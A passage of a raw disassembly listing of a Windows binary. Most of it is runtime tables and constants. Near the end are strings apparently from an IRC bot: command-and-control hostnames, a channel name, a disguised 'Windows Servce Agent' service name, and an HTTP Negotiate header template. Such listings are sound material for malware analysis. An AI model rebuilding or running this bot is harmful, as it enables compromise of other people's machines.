esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25D0000h, 25E0000h, 25F0000h, 25F0681h, 2600000h, 2600C00h dd 2610000h, 2610446h, 26104C0h, 2620000h, 26207E7h, 2620D06h dd 2630000h, 263067Fh, 2630891h dword_42703C dd 26308CAh ; DATA XREF: ___:004231D9r dd 2630966h, 2630BFCh, 2630C59h, 2640000h, 2650000h, 265120Ah dd 2660000h, 26603CAh, 2660809h, 77E75CB5h dword_427068 dd 2660843h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2660ADCh, 2670000h, 2670B96h dword_427078 dd 2680000h ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 2680098h ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 268026Ah dword_427084 dd 268032Dh ; DATA XREF: sub_4196BC+B9r dd 2680812h dword_42708C dd 268082Fh ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 2680862h ; DATA XREF: ___:loc_4013DCr dd 2680B87h, 2680C1Dh dword_42709C dd 2680D15h ; DATA XREF: sub_409B12+2r dd 2680DC9h, 2690000h dword_4270A8 dd 26905CDh ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 269062Fh ; DATA XREF: sub_410CD5:loc_410DC1r dd 26A0000h, 26A0C55h dword_4270B8 dd 26B0000h ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 26B02D3h ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26C0000h, 26D0000h, 26E0000h, 26E0A61h, 77F7E300h, 77F7E21Fh dd 26F0000h, 26F01E0h, 2700000h, 2700901h dword_4270E8 dd 2710000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 271091Eh ; DATA XREF: sub_418293+36r dd 2710BE6h, 2720000h dword_4270F8 dd 2720517h ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2730000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 2740000h, 2750000h, 2750C23h, 2760000h, 27608D0h, 2770000h dd 27703A4h, 2780000h, 2780A5Fh, 2780CF8h, 2780DEBh, 2790000h dd 27907D3h, 2790B67h, 27A0000h dword_42713C dd 27A02D2h ; DATA XREF: sub_416F1A+BCr dd 27B0000h dword_427144 dd 27C0000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 27C0A3Ah ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 27C0AD9h dword_427150 dd 27D0000h ; DATA XREF: sub_417275+56r dd 27D027Dh, 27E0000h, 27F0000h, 27F0616h, 27F0B6Fh, 2800000h dd 280023Fh, 2800790h, 2810000h, 2820000h dword_42717C dd 2830000h ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 2840000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 2841118h, 2841516h, 28419A1h, 2841B84h, 2850000h, 2860000h dd 2870000h, 2880000h, 2890000h, 28A0000h, 28A1891h, 28A18A5h dd 28B0000h, 28B0D25h, 28C0000h dword_4271C0 dd 28C0763h ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 28C0868h ; DATA XREF: sub_41E976:loc_41E9A7r dd 28C0A3Eh, 28D0000h, 28D072Eh, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43CBC4o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43CBC0o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43CE3Co dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D00Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D734o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D734h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D74C ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D74C dd offset dword_427E18+4 off_427E40 dd offset off_43D76C ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D76C dd offset unk_427E68 off_427E8C dd offset off_43D78C ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D78C dd offset dword_427EB0+4 off_427ED8 dd offset off_43D7B0 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D7B0 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D734 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D734 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D74C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D76C align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D78C align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 5 dup(1B2B6E8Bh), 5 dup(7FC49B3h), 5 dup(68773A48h) dd 7Ah dup(0) dd 68773A48h, 0 dd 1B2B6E8Bh, 15h dup(0) dd 7FC49B3h, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 0C8Bh ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 1B58h ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 5 ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 6Dh ; DATA XREF: ___:00401364o ; ___:00401388w ... db 73h, 6Dh, 6Eh dd 2E726167h, 657865h dword_429114 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServceA db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo align 4 unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 10h aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 4 off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset 